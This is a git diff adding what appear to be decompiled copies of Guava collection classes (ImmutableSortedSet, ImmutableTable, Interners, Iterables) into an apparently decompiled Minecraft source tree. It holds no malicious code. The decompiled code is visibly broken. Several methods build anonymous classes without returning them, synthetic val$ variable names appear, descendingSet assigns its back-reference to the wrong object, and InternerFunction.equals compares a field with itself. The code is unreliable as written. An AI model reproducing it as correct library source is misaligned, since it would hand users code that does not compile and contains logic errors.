+      ImmutableSortedSet<E> result = ImmutableSortedSet.construct(comparator, size, contentsArray);
+      size = result.size();
+      return result;
+    }
+  }
+  
+  int unsafeCompare(Object a, Object b) {
+    return unsafeCompare(comparator, a, b);
+  }
+  
+
+
+
+
+  static int unsafeCompare(Comparator<?> comparator, Object a, Object b)
+  {
+    Comparator<Object> unsafeComparator = comparator;
+    return unsafeComparator.compare(a, b);
+  }
+  
+
+  ImmutableSortedSet(Comparator<? super E> comparator)
+  {
+    this.comparator = comparator;
+  }
+  
+
+
+
+
+
+
+
+  public Comparator<? super E> comparator()
+  {
+    return comparator;
+  }
+  
+
+
+
+
+
+
+  public abstract UnmodifiableIterator<E> iterator();
+  
+
+
+
+
+
+
+  public ImmutableSortedSet<E> headSet(E toElement)
+  {
+    return headSet(toElement, false);
+  }
+  
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public ImmutableSortedSet<E> headSet(E toElement, boolean inclusive)
+  {
+    return headSetImpl(Preconditions.checkNotNull(toElement), inclusive);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ImmutableSortedSet<E> subSet(E fromElement, E toElement)
+  {
+    return subSet(fromElement, true, toElement, false);
+  }
+  
+
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public ImmutableSortedSet<E> subSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+  {
+    Preconditions.checkNotNull(fromElement);
+    Preconditions.checkNotNull(toElement);
+    Preconditions.checkArgument(comparator.compare(fromElement, toElement) <= 0);
+    return subSetImpl(fromElement, fromInclusive, toElement, toInclusive);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public ImmutableSortedSet<E> tailSet(E fromElement)
+  {
+    return tailSet(fromElement, true);
+  }
+  
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public ImmutableSortedSet<E> tailSet(E fromElement, boolean inclusive)
+  {
+    return tailSetImpl(Preconditions.checkNotNull(fromElement), inclusive);
+  }
+  
+
+
+  abstract ImmutableSortedSet<E> headSetImpl(E paramE, boolean paramBoolean);
+  
+
+
+  abstract ImmutableSortedSet<E> subSetImpl(E paramE1, boolean paramBoolean1, E paramE2, boolean paramBoolean2);
+  
+
+
+  abstract ImmutableSortedSet<E> tailSetImpl(E paramE, boolean paramBoolean);
+  
+
+
+  @GwtIncompatible("NavigableSet")
+  public E lower(E e)
+  {
+    return Iterators.getNext(headSet(e, false).descendingIterator(), null);
+  }
+  
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public E floor(E e)
+  {
+    return Iterators.getNext(headSet(e, true).descendingIterator(), null);
+  }
+  
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public E ceiling(E e)
+  {
+    return Iterables.getFirst(tailSet(e, true), null);
+  }
+  
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public E higher(E e)
+  {
+    return Iterables.getFirst(tailSet(e, false), null);
+  }
+  
+  public E first()
+  {
+    return iterator().next();
+  }
+  
+  public E last()
+  {
+    return descendingIterator().next();
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  @GwtIncompatible("NavigableSet")
+  public final E pollFirst()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  @GwtIncompatible("NavigableSet")
+  public final E pollLast()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public ImmutableSortedSet<E> descendingSet()
+  {
+    ImmutableSortedSet<E> result = descendingSet;
+    if (result == null) {
+      result = this.descendingSet = createDescendingSet();
+      descendingSet = this;
+    }
+    return result;
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  ImmutableSortedSet<E> createDescendingSet() {
+    return new DescendingImmutableSortedSet(this);
+  }
+  
+
+
+  @GwtIncompatible("NavigableSet")
+  public abstract UnmodifiableIterator<E> descendingIterator();
+  
+
+
+  abstract int indexOf(@Nullable Object paramObject);
+  
+
+
+  private static class SerializedForm<E>
+    implements Serializable
+  {
+    final Comparator<? super E> comparator;
+    
+    final Object[] elements;
+    
+    private static final long serialVersionUID = 0L;
+    
+
+    public SerializedForm(Comparator<? super E> comparator, Object[] elements)
+    {
+      this.comparator = comparator;
+      this.elements = elements;
+    }
+    
+    Object readResolve()
+    {
+      return new ImmutableSortedSet.Builder(comparator).add((Object[])elements).build();
+    }
+  }
+  
+
+  private void readObject(ObjectInputStream stream)
+    throws InvalidObjectException
+  {
+    throw new InvalidObjectException("Use SerializedForm");
+  }
+  
+  Object writeReplace() {
+    return new SerializedForm(comparator, toArray());
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSortedSetFauxverideShim.java b/src/minecraft/com/google/common/collect/ImmutableSortedSetFauxverideShim.java
new file mode 100644
index 0000000..daf2d7f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSortedSetFauxverideShim.java
@@ -0,0 +1,145 @@
+package com.google.common.collect;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class ImmutableSortedSetFauxverideShim<E>
+  extends ImmutableSet<E>
+{
+  ImmutableSortedSetFauxverideShim() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet.Builder<E> builder()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet<E> of(E element)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet<E> of(E e1, E e2)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet<E> of(E e1, E e2, E e3)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4, E e5)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... remaining)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet<E> copyOf(E[] elements)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableTable.java b/src/minecraft/com/google/common/collect/ImmutableTable.java
new file mode 100644
index 0000000..9b916e4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableTable.java
@@ -0,0 +1,375 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ImmutableTable<R, C, V>
+  extends AbstractTable<R, C, V>
+{
+  private static final ImmutableTable<Object, Object, Object> EMPTY = new SparseImmutableTable(ImmutableList.of(), ImmutableSet.of(), ImmutableSet.of());
+  
+
+
+
+
+  public static <R, C, V> ImmutableTable<R, C, V> of()
+  {
+    return EMPTY;
+  }
+  
+
+  public static <R, C, V> ImmutableTable<R, C, V> of(R rowKey, C columnKey, V value)
+  {
+    return new SingletonImmutableTable(rowKey, columnKey, value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <R, C, V> ImmutableTable<R, C, V> copyOf(Table<? extends R, ? extends C, ? extends V> table)
+  {
+    if ((table instanceof ImmutableTable))
+    {
+      ImmutableTable<R, C, V> parameterizedTable = (ImmutableTable)table;
+      
+      return parameterizedTable;
+    }
+    int size = table.size();
+    switch (size) {
+    case 0: 
+      return of();
+    case 1: 
+      Table.Cell<? extends R, ? extends C, ? extends V> onlyCell = (Table.Cell)Iterables.getOnlyElement(table.cellSet());
+      
+      return of(onlyCell.getRowKey(), onlyCell.getColumnKey(), onlyCell.getValue());
+    }
+    
+    ImmutableSet.Builder<Table.Cell<R, C, V>> cellSetBuilder = ImmutableSet.builder();
+    
+
+    for (Table.Cell<? extends R, ? extends C, ? extends V> cell : table.cellSet())
+    {
+
+
+
+      cellSetBuilder.add(cellOf(cell.getRowKey(), cell.getColumnKey(), cell.getValue()));
+    }
+    
+    return RegularImmutableTable.forCells(cellSetBuilder.build());
+  }
+  
+
+
+
+
+
+  public static <R, C, V> Builder<R, C, V> builder()
+  {
+    return new Builder();
+  }
+  
+
+
+
+  static <R, C, V> Table.Cell<R, C, V> cellOf(R rowKey, C columnKey, V value)
+  {
+    return Tables.immutableCell(Preconditions.checkNotNull(rowKey), Preconditions.checkNotNull(columnKey), Preconditions.checkNotNull(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  ImmutableTable() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final class Builder<R, C, V>
+  {
+    private final List<Table.Cell<R, C, V>> cells = Lists.newArrayList();
+    
+
+    private Comparator<? super R> rowComparator;
+    
+
+    private Comparator<? super C> columnComparator;
+    
+
+    public Builder() {}
+    
+
+    public Builder<R, C, V> orderRowsBy(Comparator<? super R> rowComparator)
+    {
+      this.rowComparator = ((Comparator)Preconditions.checkNotNull(rowComparator));
+      return this;
+    }
+    
+
+
+
+    public Builder<R, C, V> orderColumnsBy(Comparator<? super C> columnComparator)
+    {
+      this.columnComparator = ((Comparator)Preconditions.checkNotNull(columnComparator));
+      return this;
+    }
+    
+
+
+
+
+    public Builder<R, C, V> put(R rowKey, C columnKey, V value)
+    {
+      cells.add(ImmutableTable.cellOf(rowKey, columnKey, value));
+      return this;
+    }
+    
+
+
+
+
+
+    public Builder<R, C, V> put(Table.Cell<? extends R, ? extends C, ? extends V> cell)
+    {
+      if ((cell instanceof Tables.ImmutableCell)) {
+        Preconditions.checkNotNull(cell.getRowKey());
+        Preconditions.checkNotNull(cell.getColumnKey());
+        Preconditions.checkNotNull(cell.getValue());
+        
+        Table.Cell<R, C, V> immutableCell = cell;
+        cells.add(immutableCell);
+      } else {
+        put(cell.getRowKey(), cell.getColumnKey(), cell.getValue());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<R, C, V> putAll(Table<? extends R, ? extends C, ? extends V> table)
+    {
+      for (Table.Cell<? extends R, ? extends C, ? extends V> cell : table.cellSet()) {
+        put(cell);
+      }
+      return this;
+    }
+    
+
+
+
+
+    public ImmutableTable<R, C, V> build()
+    {
+      int size = cells.size();
+      switch (size) {
+      case 0: 
+        return ImmutableTable.of();
+      case 1: 
+        return new SingletonImmutableTable((Table.Cell)Iterables.getOnlyElement(cells));
+      }
+      
+      return RegularImmutableTable.forCells(cells, rowComparator, columnComparator);
+    }
+  }
+  
+
+
+
+  public ImmutableSet<Table.Cell<R, C, V>> cellSet()
+  {
+    return (ImmutableSet)super.cellSet();
+  }
+  
+
+  abstract ImmutableSet<Table.Cell<R, C, V>> createCellSet();
+  
+  final UnmodifiableIterator<Table.Cell<R, C, V>> cellIterator()
+  {
+    throw new AssertionError("should never be called");
+  }
+  
+  public ImmutableCollection<V> values()
+  {
+    return (ImmutableCollection)super.values();
+  }
+  
+
+  abstract ImmutableCollection<V> createValues();
+  
+  final Iterator<V> valuesIterator()
+  {
+    throw new AssertionError("should never be called");
+  }
+  
+
+
+
+
+  public ImmutableMap<R, V> column(C columnKey)
+  {
+    Preconditions.checkNotNull(columnKey);
+    return (ImmutableMap)Objects.firstNonNull((ImmutableMap)columnMap().get(columnKey), ImmutableMap.of());
+  }
+  
+
+  public ImmutableSet<C> columnKeySet()
+  {
+    return columnMap().keySet();
+  }
+  
+
+
+
+
+
+  public abstract ImmutableMap<C, Map<R, V>> columnMap();
+  
+
+
+
+
+
+  public ImmutableMap<C, V> row(R rowKey)
+  {
+    Preconditions.checkNotNull(rowKey);
+    return (ImmutableMap)Objects.firstNonNull((ImmutableMap)rowMap().get(rowKey), ImmutableMap.of());
+  }
+  
+
+  public ImmutableSet<R> rowKeySet()
+  {
+    return rowMap().keySet();
+  }
+  
+
+
+
+  public abstract ImmutableMap<R, Map<C, V>> rowMap();
+  
+
+
+
+  public boolean contains(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    return get(rowKey, columnKey) != null;
+  }
+  
+  public boolean containsValue(@Nullable Object value)
+  {
+    return values().contains(value);
+  }
+  
+
+
+
+
+  @Deprecated
+  public final void clear()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+  @Deprecated
+  public final V put(R rowKey, C columnKey, V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public final void putAll(Table<? extends R, ? extends C, ? extends V> table)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+  @Deprecated
+  public final V remove(Object rowKey, Object columnKey)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Interner.java b/src/minecraft/com/google/common/collect/Interner.java
new file mode 100644
index 0000000..d331967
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Interner.java
@@ -0,0 +1,9 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+
+@Beta
+public abstract interface Interner<E>
+{
+  public abstract E intern(E paramE);
+}
diff --git a/src/minecraft/com/google/common/collect/Interners.java b/src/minecraft/com/google/common/collect/Interners.java
new file mode 100644
index 0000000..887a7cd
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Interners.java
@@ -0,0 +1,136 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Equivalence;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Interners
+{
+  private Interners() {}
+  
+  public static <E> Interner<E> newStrongInterner()
+  {
+    ConcurrentMap<E, E> map = new MapMaker().makeMap();
+    new Interner() {
+      public E intern(E sample) {
+        E canonical = val$map.putIfAbsent(Preconditions.checkNotNull(sample), sample);
+        return canonical == null ? sample : canonical;
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  public static <E> Interner<E> newWeakInterner() { return new WeakInterner(null); }
+  
+  private static class WeakInterner<E> implements Interner<E> {
+    private final MapMakerInternalMap<E, Dummy> map;
+    
+    private WeakInterner() { map = new MapMaker().weakKeys().keyEquivalence(Equivalence.equals()).makeCustomMap(); }
+    
+
+
+    public E intern(E sample)
+    {
+      for (;;)
+      {
+        MapMakerInternalMap.ReferenceEntry<E, Dummy> entry = map.getEntry(sample);
+        if (entry != null) {
+          E canonical = entry.getKey();
+          if (canonical != null) {
+            return canonical;
+          }
+        }
+        
+
+        Dummy sneaky = (Dummy)map.putIfAbsent(sample, Dummy.VALUE);
+        if (sneaky == null) {
+          return sample;
+        }
+      }
+    }
+    
+
+
+
+
+
+    private static enum Dummy
+    {
+      VALUE;
+      
+
+      private Dummy() {}
+    }
+  }
+  
+  public static <E> Function<E, E> asFunction(Interner<E> interner)
+  {
+    return new InternerFunction((Interner)Preconditions.checkNotNull(interner));
+  }
+  
+  private static class InternerFunction<E> implements Function<E, E>
+  {
+    private final Interner<E> interner;
+    
+    public InternerFunction(Interner<E> interner) {
+      this.interner = interner;
+    }
+    
+    public E apply(E input) {
+      return interner.intern(input);
+    }
+    
+    public int hashCode() {
+      return interner.hashCode();
+    }
+    
+    public boolean equals(Object other) {
+      if ((other instanceof InternerFunction)) {
+        InternerFunction<?> that = (InternerFunction)other;
+        return interner.equals(interner);
+      }
+      
+      return false;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Iterables.java b/src/minecraft/com/google/common/collect/Iterables.java
new file mode 100644
index 0000000..f311392
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Iterables.java
@@ -0,0 +1,1044 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Optional;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+import java.util.Queue;
+import java.util.RandomAccess;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Iterables
+{
+  private Iterables() {}
+  
+  public static <T> Iterable<T> unmodifiableIterable(Iterable<T> iterable)
+  {
+    Preconditions.checkNotNull(iterable);
+    if (((iterable instanceof UnmodifiableIterable)) || ((iterable instanceof ImmutableCollection)))
+    {
+      return iterable;
+    }
+    return new UnmodifiableIterable(iterable, null);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public static <E> Iterable<E> unmodifiableIterable(ImmutableCollection<E> iterable)
+  {
+    return (Iterable)Preconditions.checkNotNull(iterable);
+  }
+  
+  private static final class UnmodifiableIterable<T> extends FluentIterable<T> {
+    private final Iterable<T> iterable;
+    
+    private UnmodifiableIterable(Iterable<T> iterable) {
+      this.iterable = iterable;
+    }
+    
+    public Iterator<T> iterator()
+    {
+      return Iterators.unmodifiableIterator(iterable.iterator());
+    }
+    
+    public String toString()
+    {
+      return iterable.toString();
+    }
+  }
+  
+
+
+
+  public static int size(Iterable<?> iterable)
+  {
+    return (iterable instanceof Collection) ? ((Collection)iterable).size() : Iterators.size(iterable.iterator());
+  }
+  
+
+
+
+
+
+  public static boolean contains(Iterable<?> iterable, @Nullable Object element)
+  {
+    if ((iterable instanceof Collection)) {
+      Collection<?> collection = (Collection)iterable;
+      return Collections2.safeContains(collection, element);
+    }
+    return Iterators.contains(iterable.iterator(), element);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean removeAll(Iterable<?> removeFrom, Collection<?> elementsToRemove)
+  {
+    return (removeFrom instanceof Collection) ? ((Collection)removeFrom).removeAll((Collection)Preconditions.checkNotNull(elementsToRemove)) : Iterators.removeAll(removeFrom.iterator(), elementsToRemove);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean retainAll(Iterable<?> removeFrom, Collection<?> elementsToRetain)
+  {
+    return (removeFrom instanceof Collection) ? ((Collection)removeFrom).retainAll((Collection)Preconditions.checkNotNull(elementsToRetain)) : Iterators.retainAll(removeFrom.iterator(), elementsToRetain);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> boolean removeIf(Iterable<T> removeFrom, Predicate<? super T> predicate)
+  {
+    if (((removeFrom instanceof RandomAccess)) && ((removeFrom instanceof List))) {
+      return removeIfFromRandomAccessList((List)removeFrom, (Predicate)Preconditions.checkNotNull(predicate));
+    }
+    
+    return Iterators.removeIf(removeFrom.iterator(), predicate);
+  }
+  
+
+
+  private static <T> boolean removeIfFromRandomAccessList(List<T> list, Predicate<? super T> predicate)
+  {
+    int from = 0;
+    int to = 0;
+    for (; 
+        from < list.size(); from++) {
+      T element = list.get(from);
+      if (!predicate.apply(element)) {
+        if (from > to) {
+          try {
+            list.set(to, element);
+          } catch (UnsupportedOperationException e) {
+            slowRemoveIfForRemainingElements(list, predicate, to, from);
+            return true;
+          }
+        }
+        to++;
+      }
+    }
+    
+
+    list.subList(to, list.size()).clear();
+    return from != to;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static <T> void slowRemoveIfForRemainingElements(List<T> list, Predicate<? super T> predicate, int to, int from)
+  {
+    for (int n = list.size() - 1; n > from; n--) {
+      if (predicate.apply(list.get(n))) {
+        list.remove(n);
+      }
+    }
+    
+    for (int n = from - 1; n >= to; n--) {
+      list.remove(n);
+    }
+  }
+  
+
+
+  @Nullable
+  static <T> T removeFirstMatching(Iterable<T> removeFrom, Predicate<? super T> predicate)
+  {
+    Preconditions.checkNotNull(predicate);
+    Iterator<T> iterator = removeFrom.iterator();
+    while (iterator.hasNext()) {
+      T next = iterator.next();
+      if (predicate.apply(next)) {
+        iterator.remove();
+        return next;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public static boolean elementsEqual(Iterable<?> iterable1, Iterable<?> iterable2)
+  {
+    if (((iterable1 instanceof Collection)) && ((iterable2 instanceof Collection))) {
+      Collection<?> collection1 = (Collection)iterable1;
+      Collection<?> collection2 = (Collection)iterable2;
+      if (collection1.size() != collection2.size()) {
+        return false;
+      }
+    }
+    return Iterators.elementsEqual(iterable1.iterator(), iterable2.iterator());
+  }
+  
+
+
+
+
+
+
+
+  public static String toString(Iterable<?> iterable)
+  {
+    return Iterators.toString(iterable.iterator());
+  }
+  
+
+
+
+
+
+
+  public static <T> T getOnlyElement(Iterable<T> iterable)
+  {
+    return Iterators.getOnlyElement(iterable.iterator());
+  }
+  
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T getOnlyElement(Iterable<? extends T> iterable, @Nullable T defaultValue)
+  {
+    return Iterators.getOnlyElement(iterable.iterator(), defaultValue);
+  }
+  
+
+
+
+
+
+
+
+  @GwtIncompatible("Array.newInstance(Class, int)")
+  public static <T> T[] toArray(Iterable<? extends T> iterable, Class<T> type)
+  {
+    Collection<? extends T> collection = toCollection(iterable);
+    T[] array = ObjectArrays.newArray(type, collection.size());
+    return collection.toArray(array);
+  }
+  
+
+
+
+
+
+
+  static Object[] toArray(Iterable<?> iterable)
+  {
+    return toCollection(iterable).toArray();
+  }
+  
+
+
+
+
+  private static <E> Collection<E> toCollection(Iterable<E> iterable)
+  {
+    return (iterable instanceof Collection) ? (Collection)iterable : Lists.newArrayList(iterable.iterator());
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> boolean addAll(Collection<T> addTo, Iterable<? extends T> elementsToAdd)
+  {
+    if ((elementsToAdd instanceof Collection)) {
+      Collection<? extends T> c = Collections2.cast(elementsToAdd);
+      return addTo.addAll(c);
+    }
+    return Iterators.addAll(addTo, ((Iterable)Preconditions.checkNotNull(elementsToAdd)).iterator());
+  }
+  
+
+
+
+
+
+
+  public static int frequency(Iterable<?> iterable, @Nullable Object element)
+  {
+    if ((iterable instanceof Multiset))
+      return ((Multiset)iterable).count(element);
+    if ((iterable instanceof Set)) {
+      return ((Set)iterable).contains(element) ? 1 : 0;
+    }
+    return Iterators.frequency(iterable.iterator(), element);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> cycle(Iterable<T> iterable)
+  {
+    Preconditions.checkNotNull(iterable);
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        return Iterators.cycle(val$iterable);
+      }
+      
+      public String toString() { return val$iterable.toString() + " (cycled)"; }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> cycle(T... elements)
+  {
+    return cycle(Lists.newArrayList(elements));
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> concat(Iterable<? extends T> a, Iterable<? extends T> b)
+  {
+    return concat(ImmutableList.of(a, b));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> concat(Iterable<? extends T> a, Iterable<? extends T> b, Iterable<? extends T> c)
+  {
+    return concat(ImmutableList.of(a, b, c));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> concat(Iterable<? extends T> a, Iterable<? extends T> b, Iterable<? extends T> c, Iterable<? extends T> d)
+  {
+    return concat(ImmutableList.of(a, b, c, d));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> concat(Iterable<? extends T>... inputs)
+  {
+    return concat(ImmutableList.copyOf(inputs));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> concat(Iterable<? extends Iterable<? extends T>> inputs)
+  {
+    Preconditions.checkNotNull(inputs);
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        return Iterators.concat(Iterables.iterators(val$inputs));
+      }
+    };
+  }
+  
+
+
+
+  private static <T> Iterator<Iterator<? extends T>> iterators(Iterable<? extends Iterable<? extends T>> iterables)
+  {
+    new TransformedIterator(iterables.iterator())
+    {
+      Iterator<? extends T> transform(Iterable<? extends T> from)
+      {
+        return from.iterator();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<List<T>> partition(Iterable<T> iterable, final int size)
+  {
+    Preconditions.checkNotNull(iterable);
+    Preconditions.checkArgument(size > 0);
+    new FluentIterable()
+    {
+      public Iterator<List<T>> iterator() {
+        return Iterators.partition(val$iterable.iterator(), size);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<List<T>> paddedPartition(Iterable<T> iterable, final int size)
+  {
+    Preconditions.checkNotNull(iterable);
+    Preconditions.checkArgument(size > 0);
+    new FluentIterable()
+    {
+      public Iterator<List<T>> iterator() {
+        return Iterators.paddedPartition(val$iterable.iterator(), size);
+      }
+    };
+  }
+  
+
+
+
+
+  public static <T> Iterable<T> filter(Iterable<T> unfiltered, final Predicate<? super T> predicate)
+  {
+    Preconditions.checkNotNull(unfiltered);
+    Preconditions.checkNotNull(predicate);
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        return Iterators.filter(val$unfiltered.iterator(), predicate);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("Class.isInstance")
+  public static <T> Iterable<T> filter(Iterable<?> unfiltered, final Class<T> type)
+  {
+    Preconditions.checkNotNull(unfiltered);
+    Preconditions.checkNotNull(type);
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        return Iterators.filter(val$unfiltered.iterator(), type);
+      }
+    };
+  }
+  
+
+
+
+  public static <T> boolean any(Iterable<T> iterable, Predicate<? super T> predicate)
+  {
+    return Iterators.any(iterable.iterator(), predicate);
+  }
+  
+
+
+
+
+  public static <T> boolean all(Iterable<T> iterable, Predicate<? super T> predicate)
+  {
+    return Iterators.all(iterable.iterator(), predicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <T> T find(Iterable<T> iterable, Predicate<? super T> predicate)
+  {
+    return Iterators.find(iterable.iterator(), predicate);
+  }
+  
+
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T find(Iterable<? extends T> iterable, Predicate<? super T> predicate, @Nullable T defaultValue)
+  {
+    return Iterators.find(iterable.iterator(), predicate, defaultValue);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> Optional<T> tryFind(Iterable<T> iterable, Predicate<? super T> predicate)
+  {
+    return Iterators.tryFind(iterable.iterator(), predicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> int indexOf(Iterable<T> iterable, Predicate<? super T> predicate)
+  {
+    return Iterators.indexOf(iterable.iterator(), predicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <F, T> Iterable<T> transform(Iterable<F> fromIterable, final Function<? super F, ? extends T> function)
+  {
+    Preconditions.checkNotNull(fromIterable);
+    Preconditions.checkNotNull(function);
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        return Iterators.transform(val$fromIterable.iterator(), function);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+  public static <T> T get(Iterable<T> iterable, int position)
+  {
+    Preconditions.checkNotNull(iterable);
+    return (iterable instanceof List) ? ((List)iterable).get(position) : Iterators.get(iterable.iterator(), position);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T get(Iterable<? extends T> iterable, int position, @Nullable T defaultValue)
+  {
+    Preconditions.checkNotNull(iterable);
+    Iterators.checkNonnegative(position);
+    if ((iterable instanceof List)) {
+      List<? extends T> list = Lists.cast(iterable);
+      return position < list.size() ? list.get(position) : defaultValue;
+    }
+    Iterator<? extends T> iterator = iterable.iterator();
+    Iterators.advance(iterator, position);
+    return Iterators.getNext(iterator, defaultValue);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T getFirst(Iterable<? extends T> iterable, @Nullable T defaultValue)
+  {
+    return Iterators.getNext(iterable.iterator(), defaultValue);
+  }
+  
+
+
+
+
+
+
+  public static <T> T getLast(Iterable<T> iterable)
+  {
+    if ((iterable instanceof List)) {
+      List<T> list = (List)iterable;
+      if (list.isEmpty()) {
+        throw new NoSuchElementException();
+      }
+      return getLastInNonemptyList(list);
+    }
+    
+    return Iterators.getLast(iterable.iterator());
+  }
+  
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T getLast(Iterable<? extends T> iterable, @Nullable T defaultValue)
+  {
+    if ((iterable instanceof Collection)) {
+      Collection<? extends T> c = Collections2.cast(iterable);
+      if (c.isEmpty())
+        return defaultValue;
+      if ((iterable instanceof List)) {
+        return getLastInNonemptyList(Lists.cast(iterable));
+      }
+    }
+    
+    return Iterators.getLast(iterable.iterator(), defaultValue);
+  }
+  
+  private static <T> T getLastInNonemptyList(List<T> list) {
